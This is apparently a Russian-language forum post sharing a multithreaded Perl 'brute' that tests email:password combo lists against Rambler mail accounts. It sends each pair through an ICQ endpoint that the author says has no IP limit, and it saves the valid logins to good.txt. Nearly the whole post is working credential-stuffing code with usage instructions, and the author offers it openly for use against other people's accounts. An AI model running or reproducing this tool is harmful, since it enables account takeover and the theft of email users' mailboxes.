Rambler password checker (perl)

Rambler password checker​

В общем, наткнулся на форуме одном на просьбу написать брут для rambler через неведомый гейт на icq.com =)
Брут многопоточный , как я понял ограничения по айпи нету =) Так что халява товарищи !

HOWTO
1)Мыла вида мыло:пароль складываем в email.txt
2)Запускаем скрипт , ждем отработки . Валидные ящики будут в good.txt .

Code:

#!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;


open (IN , '<email.txt'); #Файл с мылами
my @mail = <IN>;
chomp @mail;
my $ua = LWP::UserAgent->new();
my $cookies = HTTP::Cookies->new();
$ua->cookie_jar($cookies);
$ua->timeout(20);

my $i=0;
my @thr;

for (@mail)
{
my ($user, $pass) = split(/:/, shift(@mail));
#print "$user:$pass\n";
if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
$thr[$i]=threads->create(\&brute,$user,$pass);
$i=($i+1) % 10;  #потоки
}

 foreach(threads->list) { $_->join; }
sub brute
{
my $req = $ua->get("http://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://id.rambler.ru/script/reg.cgi&username=".$_[0]."&password=".$_[1])->as_string;
my $reg = $req =~ /(<string><status>)(\d{1})(<\/status>)/;
if ($2 eq '1')
{
open (G , ">>good.txt");
print G "$_[0]:$_[1]\n";
print "[+]GOOD! $_[0]:$_[1]\n";
close G;
}

}

Скрипт написан за 20 минут , если тема актуальна , напишу что-то по серьёзнее.